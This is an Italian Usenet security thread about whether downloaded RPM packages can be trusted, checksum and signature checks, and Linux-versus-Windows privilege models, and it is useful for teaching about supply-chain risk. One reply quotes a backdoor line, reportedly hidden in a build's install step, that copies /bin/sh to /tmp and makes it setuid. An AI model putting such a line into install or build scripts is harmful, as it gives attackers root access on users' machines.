Newsgroup: it.comp.sicurezza.varie
Titolo: Pacchetti rpm

Mi chiedevo e vi chiedo:
scarico un rpm da un sito, un software che m'interessa.
Senza fare nulla di particolare lancio l'rpm che si installa senza problemi 
e con grande facilità, alla faccia di chi vorrebbe Windows più facile.
Ma, esattamente, "cosa" ho installato?
Con un sistema così, potrei installare qualsiasi cosa. E' vero anche che 
con un ./install se non conosco esattamente il pacchetto che compilo è 
uguale, ma questo è un livello di sicurezza non ancora coperto nei sistemi 
Unix/Linux o mi sono perso qualche software di controllo?
grazie
Al
-- 
Alground Research Center
--

 Con un sistema cosě, potrei installare qualsiasi cosa. 
Compresa una backdoor.
Ti fidi del sito da cui scarichi? bene. Ti fidi dell'hash MD5SUM che il
sito riporta? ok. Hai controllato l'MD5Sum del pacchetto che hai
scaricato? coincide con quello indicato (di cui, abbiamo stabilito,
ti fidi) ? Sei a posto. 
Se manca la fiducia in uno di questi, beh, hai ragione, casca il palco.
Non di rado, in effetti, vengono segnalate backdoor nei vari pacchetti,
compresi i sorgenti.
Solo che in questi ultimi, generalmente, qualcuno controlla e se ne
accorge.
E' tutto basato sulla fiducia.
-- 
HappyCactus - Linux User #209744 - LFS User #6046 - >>> SMSPM1050 <<<
              YAGF Member Group >>> 
www.google.com
 <<<
Ci sono 10 categorie di persone al mondo: quelle che capiscono
il sistema binario e quelle che non lo capiscono.

 
Quindi sul niente. Prendiamo ad esempio il famigerato Windows.
Se installo un Norton, e cerco di piazzare un software maligno lui mi 
blocca.
E Linux? Possibile che non ci sia nessun progetto in preparazione?


 E Linux? Possibile che non ci sia nessun progetto in preparazione?
Non e' una cosa banale. Intanto occorre definire il concetto di
"attivita' maligna".


 "attivita' maligna".
Vero, però mi stupisce che non ci sia nulla neanche in embrione.
Io faccio un Sw ci metto dentro quello che mi pare e se nessuno in breve 
controlla...faccio un macello.
Non è poco devo dire.
Al


 Non ? poco devo dire.
Vedi sopra, se il software lo fai tu, non fiata nessun antivirus, fino
all'inserimento delle firme apposite.
E non ci vedo nessun punto a sfavore, nello scaricare rpm, dallo
scaricare un qualsiasi exe freeware da un qualunque sito che non sia
certificato in qualche modo.
Anzi, ci trovo un punto a favore: al 95% puoi scaricare anche i
sorgenti, ricompilare, e se vuoi (se non sei in grado tu, sara' in grado
qualcun altro, la legge dei grandi numeri e' sempre vigile) puoi
controllare che cio' che installi non ti faccia scherzi.
Un altro punt a favore, che solo rarissimamente vedo nei programmi win,
e' la firma con checksum MD5 (o simili sistemi) per verificare che cio'
che scarichi sia proprio cio' che l'autore (o il gestore del sito) ha
avuto intenzione di fornire, cosi' non rischi nemmeno che il software
corretto possa essere stato infettato durante il passaggio su un server
poco affidabile.
Ma stiamo scadendo in it.comp.os.dibattiti, credo.
-- 
          |Save our planet!
   Ciao   |Save wildlife!
  roberto |For your E-MAIL use ONLY recycled Bytes  !!
          |roberto poggi   
rpo...@softhome.net

 controlla...faccio un macello.
con la differenza che l'avere un multiutenza gestita in maniera decente
aiuta, perche se il tuo _quel che ti pare_ viene lanciato da un utente ci
fai il giusto se viene lanciata da un utente privilegiato gia le cosae
cambiano,la sicurezza che ti offre linux (o altri unix) e' dovuta al fatto
che tu utente hai accesso solo ai tuoi files,quindi il macello sarebbe
limitato,anche da altre parti e' cosi,solo che da una parte basta aprire
una shell e scrivere "su" per amministrare il sistema,e dall'altra devi
disconnetterti .. questo dovrebbe darti una panoramica sul come e' piu
probabile che il tuo processo venga lanciato coi diritto giusti ..
Premesso questo ricordati che nel momento in cui scarichi ed esegui
software di cui non conosci la composizione o di cui comunque non hai la
possiblita di verificarne l'integrita corri _sempre_ un rischio,la
protezione che puo offrirti un software come il norton e' niente di piu di
un falso sensoo di sicurezza ... 
-- 
          "chown linux:users /world"
"E se i filosofi a cena mangiassero colle mani ?"

  fidati)
Mi fido sicuramente, ci lavoro da anni e so che è una sicurezza relativa.
Però l'utente medio Linux non ha a disposizione gli applicativi presenti 
per gli utenti Windows. E quindi molto più vulnerabili sotto questo punto 
di vista.
Virus/spyware/backdoor e quant'altro.
Il mio dubbio era questo, ed è stato in parte confermato.
Non ci sono reali controlli sotto questo punto di vista in Linux.
Uso Unix dall'Università e Linux dalle prime distro quindi non sto 
facendone un discorso pro o contro un sistema.


 
No, non hai capito la mia domanda, o mi sono spiegato male.
Come gestire gli applicativi lo so da anni.
Mi chiedevo, e non vorrei ripetermi, leggi sopra gli altri interventi, il 
livello di sicurezza per gli utenti Linux NON esperti.
E' sicuramente più basso rispetto ai Windows.
NON parlo di uno o l'altro. Se leggi le mie precedenti troverai che uso 
Unix da sempre. Ma anche Windows, era un discorso su un aspetto della 
sicurezza degli applicativi su Linux.


 
Evidentemente non mi faccio capire.
NON m'interessa sapere chi è migliore, ma capire che reale difesa c'è per 
gli utenti NON esperti in Linux sotto questo punto di vista.
Un utente home ovviamente non ha l'esperienza di un Admin (e spesso manco 
loro) di controllare COSA installa.
Capisci cosa voglio dire?
Se però si ritiene questo discorso Ot mi fermo senza problemi.


 E' sicuramente più basso rispetto ai Windows.
no,l'essere un ambiente multiutente gestito in maniera decente lo rende
molto piu sicuro,se poi tu appena vedi la scritta "login" la prima  cosa
che fai e' scrivere "root" sei paragonabile al classico utente
"cliccatutto" e non c'e' cosa che possa rimediare se non una lobotomia :D


 E Linux? Possibile che non ci sia nessun progetto in preparazione?
Beh, permetti ma qui si parla di cose diverse... su linux ci sono
parecchi progetti per l'intercettazione di system call malevole ecc.
... che onestamente siamo un po' più in là dal "da root ho lanciato uno
script che mi ha eliminato il filesystem"...
Non esistono patch per il cervello degli utenti. O sai quello che fai, o
non lo sai. Se non lo sai puoi fare delle cazzate madornali per semplice
ignoranza. Vale per entrambi i casi. Su win c'è la piaga dei virus... ne
escono 3 al giorno (festivi esclusi) e c'è gente che sviluppa
aggiornamenti al solo scopo di individuare il virus prima che possa far
danni. *POI* c'è il problema dei trojan, delle backdoor e degli spyware.
A volte questi sono in circolazione come payload di virus o worm. Dato
che norton e compagnia intercettano gli uni, intercettano anche gli
altri. Ma se lo spyware/trojan è inglobato all'interno di un software
assolutamente lecito e downloadato e installato dall'utente di sua
iniziativa, voglio vedere quale ricerca euristica lo ferma... e se anche
fosse in grado si inviare un alert all'utente, voglio vedere quanti
utenti col topo in mano cliccano su "installa lo stesso", magari
flaggando la voce "un'altra volta non rompere i maroni".
Dato che la prima entità su linux non esiste o quasi (vogliamo mettere
giù un rapporto nimda/slapper, per intenderci?) e che la seconda non è
così facilmente ovviabile, non vedo nulla di anomalo nella situazione
attuale di linux...
-- 
Emanuele Balla aka Skull
-----------------------------------------------------------------------
Besides, I think [Slackware] sounds better than 'Microsoft', don't you?
(By Patrick Volkerding)

 
Ok, mi rendo conto di aver iniziato un argomento troppo poco 
"specifico". Anche se inerente alla Sicurezza in generale porta ad 
andare sicuramente su campi decisamente OT rispetto al NG.
Chiudo qui i miei interventi su questo thread.


 Capisci cosa voglio dire?
Valido per qualunque sistema, basta vedere quanto hanno proliferato i
dialer su windows...
Telecom ha sicuramente gradito.
-- 
   => Don't Let Your Fears Stand in The Way of Your Dreams !!! <=
   URL: 
http://www.delymyth.net/
 ~ E-Mail: 
DEly...@despammed.com
            => ICQ#: 8761263 - MSN: 
dely...@msn.com
 <=
          => FREE! Hardware Anti-Virus!!! - /dev/brain <=

 Non è poco devo dire.
Welcome to the real world.


 ma, in questi casi, tipicamente, la comunita' abbastanza alla svelta.
L'ultima che mi ricordo, non piu' di una settimana fa.


 sorgenti, ricompilare, 
Sono completamente d' accordo.
C' e' da dire pero' che anche i sorgenti non rappresentano la Sicurezza
con la S maiuscola, vedi
http://packetstormsecurity.org/advisories/cert/CA-2002-28.sendmail
 [1]
Morale della favola: mai fidarsi :)
[1] = e' anche vero che si' e' saputo subito e si e' potuto correre ai
ripari
 
A.
icq 18752702
-- 
questo articolo e` stato inviato via web dal servizio gratuito 
http://www.newsland.it/news
 segnala gli abusi ad 
ab...@newsland.it

 Capisci cosa voglio dire?
Io si', e tu hai capito cosa volevo dire io?
Virus, spyware, worm, backdoor, etc sono riconosciuti SOLO dopo la loro
diffusione, in qualunque sistema operativo.
E questo a prescindere dal fatto che si tratti di .exe o di rpm.
Percio' l'utente home ha le stesse disgrazie e le stesse garanzie.


 con poche righe di codice ad hoc il norton non si accorge di nulla.
Per esempio? Non e' una sfida, vorrei proprio un esempio :)
Saluti.

E Linux? Possibile che non ci sia nessun progetto in preparazione?
Scegli nel mucchio:
firme MD5, chiavi GPG/PGP, repository _ufficiali_. Quest'ultimo, in
particolar modo.
Installazione dei sorgenti, come extrema ratio. Auditing dei sorgenti
come "ultimate ratio".
A me sembra adeguato e sufficente.
(e una misura ben maggiore di tool/possibilita` rispetto alla banalita`
di _un_ sw che si basa su un db di cose che conosce).
-- 
Maurizio - Tannoiser - Lemmo
Founder Member of ERLUG (Emilia Romagna Linux User Group)
http://erlug.linux.it

 Percio' l'utente home ha le stesse disgrazie e le stesse garanzie.
L'unica differenza, IMNSHO, la fa il sorgente aperto (il 90% del sw
linux e' OpenSource, il 10% e' chiuso, su linux le percentuali sono
invertite) e un po' la disponibilita' delle checksum.


 Per esempio? Non e' una sfida, vorrei proprio un esempio :)
Un qualunque codice che non abbia smaccatamente [1] comportamento da
virus ma che danni li crei comunque. Un esempio lampante e banale? i
dialer. Se non e' malware quello....
[1] Smaccatamente: nel senso che anche una euristica riesca a
identificarlo. E' noto che talvolta e' sufficiente porre qualche
giro di istruzioni assolutamente inutile per gabbarla.


 Non ci sono reali controlli sotto questo punto di vista in Linux.
ce ne sono eccome: "Tripwire", "Aide", "
trojan.pl
", "sXid"...
mai provati.
scarico pochi file e solo file della mia distro o roba fidata.
a volte controllo il checksum.
saranno più "difficili", credo, come linux è più diificile di window$, ma 
sicuramente meno ingannevoli di norton e altre amenità.

 decente aiuta,
ho finito gli orsacchiotti, mi spiace. Posso solo dirti che provo un 
sacco di pena. Come sempre, osservando una persona che si riempe la 
bocca di "Unix" avendo usato al massimo Linux (e non conoscendolo 
neanche troppo bene - ma è solo una mia supposizione), e che fa 
confronti con "Windows", non realizzando che di Windows ce n'è non uno 
ma tre, di cui uno fatto così male da far piangere Gesù, *e* di non 
aver mai usato altro Windows che quello. Un modo per dire che questo 
tuo post non ha alcun contenuto (gli argomenti sono stati già trattati, 
ripetutamente). Un momento! neanche il mio! dovrò rimediare con una 
barzelletta:
Un prete e un rabbino hanno un incidente d'auto. Nonostante entrambe le 
auto siano completamente distrutte, i due religiosi miracolosamente 
sono illesi. "E' un miracolo!" dice il rabbino, "Dio deve aver voluto 
che diventassimo amici, così ci ha fatti incontrare in questo modo!" 
"Sì, hai perfettamente ragione!" risponde il prete. "E guarda" continua 
il rabbino "anche questa bottiglia di vino Manechevitz è sopravvissuta 
all'incidente! Dobbiamo brindare alla nostra nuova amicizia.". "Sì, hai 
perfettamente ragione!" conviene il prete un'altra volta. Il rabbino 
stappa la bottiglia e riempe due bicchieri, porgendone uno al prete. Il 
prete subito finisce il suo bicchiere di vino, poi guarda il rabbino 
che non ha ancora toccato il proprio. "E tu non bevi?" chiede il prete. 
"Nah, credo che aspetterò che arrivi la polizia"
-- 
 < 
http://www.reactos.com/
 >  Open source clone of Windows NT. Current
     Don't stand, REACT!      version 0.0.20. C, C++ and ASM developers
                              and beta testers are welcome!

 banalita` di _un_ sw che si basa su un db di cose che conosce).
l'idea, piuttosto, è di lasciar entrare solo quello che si conosce e 
tenere fuori il resto, anzichè cercare di fare entrare tutto e filtrare 
via la feccia. Anche una lista di digest MD5 è "un database di cose che 
conosce", la differenza è l'approcio: opt-in piuttosto che opt-out


  fidati)
c'erano due o tre antivirus (di cui uno con versioni per Windows, 
Linux, FreeBSD e non ricordo quanti altri) che piuttosto che cercare 
codice noto osservavano in tempo reale il comportamento dei processi e 
riportavano operazioni sospette. Potrei addirittura riuscire a dirti 
come si chiamavano, se ti interessa


 Ma stiamo scadendo in it.comp.os.dibattiti, credo.
per piacere tenete icod fuori da queste scaramucce, grazie. Non è una 
discarica per gli argomenti che non avete il coraggio di affrontare 
direttamente, e quindi sviate per rendere OT in questo gruppo


 tcpdump.
oddio, di cosa si trattava? io l'ultima che ricordavo era quella in 
Borland Interbase


 Borland Interbase
avevano inserito tra i sorgenti una cosa del tipo 
	cp /bin/sh /tmp/.rootsh && chmod 7111 /tmp/.rootsh
che veniva eseguita al "make install" ( in realta' c'era anche
dell'altro, ma il senso era quello )


 ripetutamente).
a domanda "che protezioni in piu offre linux rispetto a win per quel che
riguarda i virus e il codice maligno in generale" la risposta piu logica
non puo non toccare la gestione della multiutenza,visto che questa e' "di
suo" una forma di protezione,e da una parte e' penosa (indovina dove) e
dall'altra e' gestita in maniera comoda e ottimale.


 (indovina dove) e dall'altra e' gestita in maniera comoda e ottimale.
Notare che un worm puo' in tutta tranquillita' essere scritto anche in
linux, l'unico problema (e non e' poco) e' quello di convincere l'utente
a salvarlo su disco, compilarlo ed eseguirlo (anche da utente non
privilegiato), ma questo e' un discorso che prescinde la multiutenza.


 privilegiato), ma questo e' un discorso che prescinde la multiutenza.
se puo scrivere _solo_ sui files di questo utente la vedo ardua per il
worm fare danni piu seri del compromettere la /home  di chi lo lancia.
-- 


 tizio che parla di cio' che non conosce.
e' arrivato quello che scrive "uindous" ....
-- 


 Ehm...
Ogni tanto mi capita di spararle, grazie whip! :)


 worm fare danni piu seri del compromettere la /home  di chi lo lancia.
chi ha parlato di danni?
richiamare sendmail per tutti gli indirizzi email trovati nella
directory utente e' un comportamento comune per i worm, e la multi
utenza non lo impedisce.
HappyCactus che sendmail e' un comando assodato...


 chi ha parlato di danni?
vero.Il post originario parlava di sicurezza e immagino che principalmente
si riferisse a malaware che provocasse danni al sistema... pero e' vero
che anche con i privilegi di un account non amministratore un progrmma puo
fare danni (dani in senso generale in questo caso)
saluti


 questo caso)
E quindi la multiutenza non ti salva. peccato.


 E quindi la multiutenza non ti salva. peccato.
mai detto che sia la soluzione a tutti i mali ma e' di sicuro una
protezione.


 dell'altro, ma il senso era quello )
quante scudisciate sono state elargite al responsabile?


 in kernel space,
DOVE MAI Tanenbaum ha detto una cosa del genere? LUI, noto teorico del 
microkernel?


 lo lancia. 
se tu perdere tutte le tue e-mail, tutti i tuoi documenti di lavoro, 
magari la tua tesi di laurea non me lo chiami danno, devi dirmi da che 
pianeta vieni


 e' un *religioso* nell'accezione del termine comunemente usata.
l'originale diceva "holy men", m'č sembrata la traduzione migliore


 multiutenza,
oh bella, sul controllo dell'accesso non diciamo nulla? com'č che io 
cercando di far partire allegati eseguibili ottengo solo errori di 
accesso negato, tanto per dirne una?


 magari la tua tesi di laurea non me lo chiami danno, 
(partendo dal presupposto che un dato di cui non esiste un backup non ha
ragione di esistere)
io preferire perdere  solo mie mail che perdere mail + sistema,dato puo
essere backuppato sistema va reinstallato e riconfigurato.


 microkernel?
a parte che non c'entra nulla con il fatto che sia un sostenitore dei
microkernel,comunque la definizione e' presa da "i moderni sistemi
operativi" jackson universita (sono 900 pagine ... se vuoi ti cerco la
frase precisa ... se ti fidi pero eviterei volentieri :-),tranne che ho
scritto una vaccata e ho scritto kernel space anziche kernel mode ,vabbhe
avrebbe poco senso in caso contrario credo si intuisse lo stesso.


 accesso negato, tanto per dirne una?
perche gli allegati che scarichi non hanno (ancora)il codice di getad
incorporato ?
-- 


 quante scudisciate sono state elargite al responsabile?
Non credo l'abbiano beccato.


 protezione.
Non credo che in windows ti serva un utente privilegiato per leggere la
posta. Quindi ha la stessa protezione.


 cosa,cmd.exe ?
Cosa ti vieta di installare bash su win2k? 


 puo essere backuppato sistema va reinstallato e riconfigurato.
Facciamo cosi'.
Ti do' un account su un win2k senza privilegi, prova a cancellarmi il
sistema. ti va?
(domanda retorica: qui si usa linux, ma per _altri_ motivi)


 incorporato ?
getad sfrutta un baco software, non un errore di design, esattamente
come ptrace.


 switchare su un admin per la normale manutenzione.
considera un ambiente non di produzione in cui un utente ha la necessita
di compiere alcune  operazioni da amministratore (tipo installare
programmi) e altre di normale routine,che possibilita ti offre nt di
farlo agevolmente ? quante probabilita ci sono invece che l'utente si
logghi direttamente come amministratore ? gli strumenti che mi offre unix
in questi casi li vedo e sono comodi,in nt no ...


 Cosa ti vieta di installare bash su win2k?
e cosa potresti farci per amministrare il sistema ? ci configuri IIS o i
permessi sui files e directory ? anche nel caso dubito fortmemente che
sarebbe pratico come lo e' sotto unix ....


 (cmd.exe,bash.bat) e "Run As".
si ma ripeto il concetto ... con un cmd.exe che ci fai ? per avere una
gestione decente del sistema credo che tu debba lanciare explorer e
ricaricare tutte le impostazioni utente,e si torna al punto di prima ..
una shell permette di fare tutto e non ha bisogno di nient'altro.


 come ptrace.
'nsomma ....
" This is related to the Microsoft Windows Window Message Subsystem Design
Error Vulnerability "
a parte che non risulta ancora patchato ... se fosse un semplice errore di
scrittura software probabilmente sarebbe gia stato risolto ... ma non ho
indagato ulteriormente ...


 amministratore
 ^^^^^^^^^^^^^^^^
intendevo utente normale .... abbi pazienza :-)


 intendevo utente normale .... abbi pazienza :-)
Bisogno della pausa caffè?
;-)
-- 
Emanuele Balla aka Skull
-----------------------------------------------------------------------
Besides, I think [Slackware] sounds better than 'Microsoft', don't you?
(By Patrick Volkerding)

 ;-)
no ,bisogno di ferie ... quanto manca ad agosto ? :D


 essere /dev ...
Beh, li` AFAIK c'e` il devfs che aiuta.
-- 
Ikitt

 che mi offre unix in questi casi li vedo e sono comodi,in nt no ...
E' un problema di utenza, non di sistema operativo.


 che sarebbe pratico come lo e' sotto unix ....
Esistono tools da linea di comando anche per duemiglia, esiste terminal
server, esistono tanti modi per amministrare bene un sistema 2k.


 ... ma non ho indagato ulteriormente ...
Come gli annosi problemi con IIS? (patch che si ottengono dopo 6 mesi?)
Comunque, dove ho trovato io la notizia, c'era il link alla patch.


 getad incorporato ?
suvvia, è perchè la directory di Eudora (e già che ci sono do' un paio 
di ritocchi alla cache di IE) ha un bel "Everyone, nega esecuzione, 
applica solo ai file, ricorsivamente". Incorpori quello che diavolo gli 
pare, se non può eseguirsi servirà a poco


 non ha ragione di esistere)
dei dati si fa il backup, del sistema si prepara l'immagine su CD. 
Embè? si sta parlando della possibilità di fare danni o di ripararli?


 gestire praticamente ogni cosa,cmd.exe ?
la bash non gestisce un accidente. La bash fa partire programmi


 Fondi le tue accuse su qualcosa ?
precedenti noti


 solo estetica
Anche se penso si capisca da questa frase, suggerisco esplicitare
l'esistenza di strumenti amministrativi command line su Win2k :-)
/me peace & love.
-- 
"Ehi, fratelli. Qui c'e' scritto che c'e' anche il tempo per combattere".
SETI@home: 148WU/8233hrs on a P166MMX :-)
SecurFaq             : 
http://securfaq.usenet.eu.org
Biancorossi Siamo Noi: 
http://www.tifonet.it/free/ancona/


Maya, 2 in storia dei SO. 
Hai detto un frollaccata micidiale.
-- 
Renato 'Hitman' Salzano / 
http://spazioinwind.libero.it/hitman
IHGGer #667 / Yane's Fan #0 / Mexico '86 Fan #2 / GdG #6 
Now posting from a Atlhon XP 2Ghz-256M powered by Gentoo Linux
"Turn off the light / tell me your stories / give it away"

 E' un problema di utenza, non di sistema operativo.
se il sistema non ti da una mano pero ... 


 server, esistono tanti modi per amministrare bene un sistema 2k.
tutti nel resource kit ? 


 Embè? si sta parlando della possibilità di fare danni o di ripararli?
veramente si parlava di danni di per se,era una premessa ... 


 di ritocchi alla cache di IE) 
mi sa che avresti problemi con le applet e gli active x


 Comunque, dove ho trovato io la notizia, c'era il link alla patch.
puoi postarlo ? su securityfocus riporta ancora il classico "il venditore
non ha ancora .. etc...".


 se il sistema non ti da una mano pero ... 
E ripeto, cosa c'entra con la multiutenza?


 tutti nel resource kit ? 
pensa al resource kit come i .deb o ai .rpm, il concetto non cambia. si
sta parlando di architettura di un sistema operativo, non di tools.


 


 farebbe un po scappare da ridere ...
Intanto il copy on write e' soltanto un modo per ottimizzare lo share
delle risorse, non per gestirla. Si possono gestire delle risorse
condivise anche senza COW.


 sta parlando di architettura di un sistema operativo, non di tools.
era solo una curiosita .. visto che continuate a ripetere che win 2000 e'
gestibile tranquillamente da riga di comando mi e' venuta la curiosita ...
non campo delle ie convinzioni.


 E ripeto, cosa c'entra con la multiutenza?
poco o nulla e chiudo il thread .


 condivise anche senza COW.
e' un modo per ottimizzare ma cio non toglie che sia il sistema di
gestione degli accessi simultanei a files,certo che si possono gestire le
risorse condivise anche senza COW ma win le gestisce cosi ...
PS :Stiamo andando OT direi di chiudere il tread pure qui.


 server?
_i_ client,plurale,(si parlava  di mutiutenza ...)puo usare un nt solo un
utente alla volta ,il sistema operativo non permette AFAIK che piu utenti
accedano agli stessi files,condividano la memoria e le risorse,almeno fino
a terminal server,per questo che e' stato una innovazione.Sempre se non mi
sono perso qualcosa .... nel qual caso ogni link e' ben accetto.


 
http://www.microsoft.com/technet/security/bulletin/MS01-007.asp
lol !
questa e' bellissima pero ...
"This would give an attacker an opportunity to cause the Network DDE Agent
to run code of her choice in Local System context, as a means of gaining
complete control over the local machine." cioe non esegui codice come
administrator ma con i diritti del sistema ... in pratica puoi fare
"tutto" .. sti cavoli.


 tutti nel resource kit ?
personalmente, me li scrivo da me. Perchè i Resource Kit contengono 
solo sfoghi di disperazioni di oscuri programmatori interni, non veri 
programmi


 di un po di post sopra quando si parlava di acl)
le ACL non c'entrano, qui si parla di capabilities, o piuttosto assenza 
di


 Subsystem Design Error Vulnerability "
è l'autore dell'advisory originale? è un coglione pieno di sè in cerca 
di attenzione. Non è un errore di design del "Message Subsystem" (che 
si chiama "user subsystem" - "message subsystem" è usato per indicare 
MAPI), quanto *un solo* messaggio (WM_TIMER) disegnato male e gestito 
peggio: passa un puntatore a callback tra processi distinti (anche, ad 
esempio, WM_NOTIFY lo fa, ma non interprocesso, perchè non avrebbe 
nemmeno senso), quando, proprio per il design del messaggio, basterebbe 
un id numerico che può essere verificato più facilmente (il messaggio 
passa entrambi, ma l'handler predefinito si fida più del puntatore che 
dell'id - pigrizia: il puntatore si può richiamare subito, mentre l'id 
va cercato in una tabella)
Quello che il coglione vorrebbe farci credere è di aver trovato una 
gravissima falla di design (processi non privilegiati possono spedire 
messaggi a processi privilegiati). Ma io ho controllato *personalmente* 
e l'unico messaggio a passare un puntatore a callback è WM_TIMER. Tutti  
gli altri al massimo spediscono puntatori a dati, ma richiedono buffer 
forniti dall'utente, o non possono essere spediti inter-processo. E 
poter spedire messaggi a finestre, indipendentemente dall'utente sotto 
il quale girano, mi sembra una funzionalità minima indispensabile 
(anche X11 lo permette, per quanto poco ne sappia)


 chiaro il concetto, sorry, non e' colpa mia.
multiheading, cioè una macchina con "più teste", ossia più di un solo 
terminale (esempio: appserver con thin client). Multithreading è 
un'altra cosa ancora :-)))


 I soliti precedenti noti furono.......
analisi grammaticale: due! Giulio, alla cattedra!


 mi sa che avresti problemi con le applet e gli active x
non le applet. E se ho problemi con gli ActiveX, tanto di guadagnato


 gira in kernel mode _e'_ parte del sistema operativo,
no, è un'estensione semmai, come un driver di periferica. E non è
l'interfaccia, è la grafica e basta. L'interfaccia sta tutta in una
libreria. Poi non so perchè si riesumi *ancora* questo discorso. I
vantaggi di una vera interfaccia utente superano di molto gli svantaggi,
a mio parere e IMO a ragion veduta (si veda il capitolo "Accessibility"
su MSDN)
E qui non posso fare a meno di sorridere pensando a persone che usano
uno pseudo-emulatore on-board di terminale come unica interfaccia al
computer, credendo che sia "fico". Un terminale su seriale ha ancora un
senso, ma un mezzo emulatore di terminale sulla scheda video (anche se
può avere la sua utilità) che viene considerato il non plus ultra delle
interfacce utente è una cosa triste. Parlo in generale, mettendo le mani
avanti - non mi riferisco a niente detto da te, ma so fin troppo bene
dove si finisce per andare a parare con questo discorso



una Maya che ama l'odore di hfnetchk al mattino, specie se recapitato 
per posta in comoda confezione (anche il vostro può esserlo - abbiate 
pazienza mentre betatesto un po'). E segnalo anche un'impennata nella 
qualità degli advisory - ora fanno mea culpa quando è giusto che sia. 
Inoltre si riesce - finalmente - a capire *esattamente* dove fosse il 
problema


 libreria. Poi non so perchè si riesumi *ancora* questo discorso. I
Hai presente l'annosa diatriba kernel monolitico/microkernel? ecco. sono
quelle cose dure a morire.


 di casino :
Avevo solo letto male.
IMNSHO, multiheading e multiutenza non hanno molto a che
spartire: un sistema puo' essere multiheading senza essere multiutente e
viceversa.


 un utente alla volta ,il sistema operativo non permette AFAIK che piu
"AFAIK"... Evidentemente conosci molto male, perche' la realta' e'
diversa'.
HappyCactus che share.exe c'e' da ms-dos 5.0... e ms-dos non era
multiutente.


 un'altra cosa ancora :-)))
Avevo letto male, stavo fuggendo dopo 4 ore passate al freddo
dell'officina... abbiate pazienza :)


 puoi fare"tutto" .. sti cavoli.
Un po' come quando un attaccante guadagna i diritti di root.


 PS :Stiamo andando OT direi di chiudere il tread pure qui.
Come vuoi.


 problema
In effetti, sono sconvolto.
Una chiarezza simile, su un bollettino M$, non mi era mai capitato
leggerla. 
Credo che i dati forniti siano piu' che sufficienti per...


 su Windows potrebbe funzionare ancora meglio
Questo sarei proprio curioso di capirla pero' :)
-- 
il Vide - ICQ# 5301833
IAMM - it.arti.musica.metal 
http://www.heavy-metal.it
Tessera #8 "Tira Clarenzo e m' illumino d' immenzo"

 gestibile tranquillamente da riga di comando mi e' venuta la curiosita
Strano che nessuno lo abbia ancora accennato, visto che si e' parlato di
ravanare nel registro, mi pare che VBS abbia anche delle API per accedere
al registro stesso. In fondo, bash non e' altro che un interprete di
comandi, esattamente come cmd.exe. Dicendo "da bash si gestisce tutto" e
posto che "vi" si puo' lanciare anche dall'ambiente grafico (oltre a
esistere anche per Windows, e io questo porting lo uso regolarmente), ti
riferivi agli script che si possono programmare in bash, vero?
Ora, pur con tutte le differenze nella rispettiva sintassi e modello di
programmazione, e detto (voglio precisare) da quasi profano di Win2k e del
VBS (*), non si possono creare degli script amministrativi in VBS, che a
questo punto sarebbero l'equivalente dei loro "cugini" Unix?
(*) "Quasi profano" che dal 7/1 dovra' tentare di diventare esperto,
ahime' :-) (eventualmente scassero' un po' l'anima a Maya <eg>).
-- 
"Ehi, fratelli. Qui c'e' scritto che c'e' anche il tempo per combattere".
SETI@home: 148WU/8233hrs on a P166MMX :-)
SecurFaq             : 
http://securfaq.usenet.eu.org
Biancorossi Siamo Noi: 
http://www.tifonet.it/free/ancona/

 di
ad esempio ?


 computer, credendo che sia "fico".
non e' "fico",se a uno basta quello ... vale il principio del "minimo
privilegio" se per la sua utenza basta quello sarebbe inutile fare in
maniera diversa.
[1] preciso visto che altri driver tipo gimp-print col sistema operativo
c'entrano poco o nulla ..
-- 
          "chown linux:users /world"
"E se i filosofi a cena mangiassero colle mani ?"

 multiutente.
non c'entra nulla,share serviva per evitare che 2 programmi accedessero
simultaneamente a un file,se si parla di multiutenza quello e' solo uno
dei problemi,2 utenti collegati contemporaneamente credi che abbiano solo
il problema di accedere insieme agli stessi files ? 
il problema degli nt vecchi e' che semplicemente non contemplavano la
possibilita che piu utenti sharassero le stesse risorse visto che una
volta caricato un driver in memoria non permettevano che ad utilizzarlo
fossero piu di un utente per volta.
PS : chiudiamo pure qui ?


E se ho problemi con gli ActiveX, tanto di guadagnato
e perche ? <g>


 Un po' come quando un attaccante guadagna i diritti di root.
'nsomma .. se hai un sistema installato di default si,se hai delle acl
(come me) che impediscono a root di accedere a certe risorse agendo in
kernel mode le scavalcheresti,non mi ricordo di vulnerabilita simili nel
kernel di linux (ma sarebbero comunque possibili chiariamoci),ma forse
ricordo male ...


 pare, se non può eseguirsi servirà a poco
su linux invece puoi setuidare il client di posta con un utente senza
privilegi richiuso in un jail.Che fai il porting di chroot anche su win 2k
? a parte che nonsarebbe la prima volta che esce un advisory per cui
outlook mette i files in directory sparse per il sistema e non nella cache
... ma questa e' un'altra storia.


 (*) "Quasi profano" che dal 7/1 dovra' tentare di diventare esperto,
in bocca al lupo :-) 


 esiste RTSS
stai paragonando una patch di un kernel (che diventa quindi parte
integrante del sistema operativo) ad un sottosistema software che gira in
user mode ... l'avere un kernel open source permette (tra le infinite
altre cose) di adattare il kernel a quelli che sono i tuoi bisogni,cosi se
hai esigenze di sicurezza o un ambiente forzatamente multiutente ha senso
lids su un desktop no (o quantomeno meno) e comunque se dalla 2.6 viene
inserita come parte integrante del kernel ufficiale cambierebbe qualcosa ?
gia le distribuzioni se vogliono possono distribuire un kernel patchato
che lo supporti,se vuoi fartelo in casa rimasterizzati il primo cd di
debian e cambia il pachage di un kernel che vuoi tu in uno patchato ...
lavoro di 10 minuti (esclusa compilazione).


 la bash non gestisce un accidente. La bash fa partire programmi
permette di gestire al meglio i programmi che ti permettono di gestire
ogni cosa va meglio ?


 ... in pratica puoi fare "tutto" .. sti cavoli.
solo sulla macchina locale. SYSTEM ha un SID fisso (niente prefisso di 
dominio), in una rete non può fare nulla, solo sessioni anonime. Certo, 
SYSTEM ha un sacco di privilegi [1], quindi con abbastanza fantasia si 
può ottenere comunque qualcosa
[1] con l'asterisco quelli già attivati:
D:\WINNT\system32>privcheck | sort
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege *
SeBackupPrivilege
SeChangeNotifyPrivilege *
SeCreatePagefilePrivilege *
SeCreatePermanentPrivilege *
SeCreateTokenPrivilege
SeDebugPrivilege *
SeIncreaseBasePriorityPrivilege *
SeIncreaseQuotaPrivilege
SeLoadDriverPrivilege
SeLockMemoryPrivilege *
SeProfileSingleProcessPrivilege *
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTcbPrivilege *
SeUndockPrivilege
-- 
 < 
http://www.reactos.com/
 >  Open source clone of Windows NT. Current
     Don't stand, REACT!      version 0.0.20. C, C++ and ASM developers
